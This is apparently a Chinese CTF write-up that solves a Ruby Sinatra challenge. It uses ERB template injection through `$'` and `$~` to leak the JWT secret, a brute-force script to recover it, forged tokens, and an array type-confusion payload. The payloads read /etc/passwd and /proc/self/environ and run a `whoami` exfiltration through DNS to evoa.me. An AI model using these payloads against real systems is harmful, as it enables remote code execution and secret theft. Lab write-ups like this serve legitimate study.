前言
关键字:[ruby erb|ssti|jwt]
题解
点work会加钱,所以可以007不停工作这样几百年后就能买房了。
这题很容易想到有关cookie。
抓个包再随便点一点
网页上已经77了,burp里还是74,可见金额不是存session,而是存在本地cookie。
那只要解开cookie就行了。
因为是jwt加密,用jwtcrack试试。
没跑出来,还是得先找到key,得先看看其他地方。
扫了扫目录,发现robots.txt存在。
里面放了源码,ruby语法。
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
Ruby ERB模板注入
重点在这里,如果传入的参数do和name相等,则输出。
erb的模板注入形式如下
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
其中<%=%>
占用五个字符,而题目只给了七个可控字符。
所以这里利用ruby的预定义变量,只用两个字符。
如下有两个办法,其实思路都一样。
直接输出
$'
The string to the right of the last successful match. 最后一次成功匹配的右侧的字符串
利用ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
内层的正则限制了SECRET为数字+小写字母,重点是前面的正则,#{}
类似于php里的取变量,不用管。
因为SECERT是空,所以把完成的SECERT给输出出来了。
如图:
在这发现ruby的match挺怪的,可以pattern.mathch(string),也可以string.mathch(pattern)
unless params[:SECRET].nil?
意思是设置了SECRET参数才执行代码块,所以要设个SECRET
work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
//urlencode
work?SECRET=&name=%3C%25%3D%24'%25%3E&do=%3C%25%3D%24'%25%3E%20is%20working
返回如下,这样就拿到了当下的jwt token和key
HTTP/1.1 200 OK
Server: openresty
Date: Tue, 10 Aug 2021 08:55:15 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 176
Connection: close
Set-Cookie: auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJmMDBmZjcwNi02ZDFhLTQzOGQtOGM0OC02ZWMyYTNkN2Y1MzIiLCJqa2wiOjc1fQ.KH-pPeCd_V98pV9VdNCGEATa3XofmPKd934pW7mDqvw; domain=0e50b8a0-5392-476e-a5ce-cd30228e8582.node4.buuoj.cn; path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
<script>alert('ebe18e25bc2e1a0d8d48db9b6df08d7101eed13861254583d435edf271c197e636d5e57a74a650fc39cbeaf4a78226d8290f2407cc0471d1314a5f4ea44d1877 working successfully!')</script>
然后把key放进去,修改金额,拿到jwt token。
然后再打进去,返回成功,但是没看到flag
竟然藏在jwt里,还得再解码下。
爆破
构造
name=<%=$~%>
do=<%=$~%> is working
$~
The information about the last match in the current scope.当前范围最后一次匹配的结果
ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
SECRET参数可控,如果匹配到SECRET,则$~
会在页面中返回
import requests
import base64
import time
url = "http://0e50b8a0-5392-476e-a5ce-cd30228e8582.node4.buuoj.cn"
r = requests.session()
r.get(url + "/api/auth")
flag = ""
while True:
i = ""
for i in "0123456789abcdef":
now = flag + i
#now = i + flag
res = r.get(
url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
if len(res.text) > 48:
print(res.text)
print(flag)
flag = now
break
time.sleep(0.3)
print(flag)
因为不知道初始匹配的位置,比如SECRET为abcdefg,然后一开始匹配到d,第二次匹配到de,第三次def,这样后面的匹配完了,但前面的那几个还没匹配,所以需要执行两次。
第一次now = flag + i
将后面的字符串匹配出来,
第二次now = i + flag
,flag填入,匹配前面的字符串。
HTTP参数传递类型差异产生的攻击面
读取的是/proc/self/environ
,这个可直接得到flag
/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6
//urlencode
/work?SECRET=xxx&do=%5b%22%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%70%72%6f%63%2f%73%65%6c%66%2f%65%6e%76%69%72%6f%6e%27%29%2e%72%65%61%64%20%25%3e%22%2c%20%22%31%22%2c%20%22%32%22%2c%20%22%33%22%2c%20%22%34%22%2c%20%22%35%22%2c%20%22%36%22%5d%20%69%73%20%77%6f%72%6b%69%6e%67&name[]=%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%70%72%6f%63%2f%73%65%6c%66%2f%65%6e%76%69%72%6f%6e%27%29%2e%72%65%61%64%20%25%3e&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6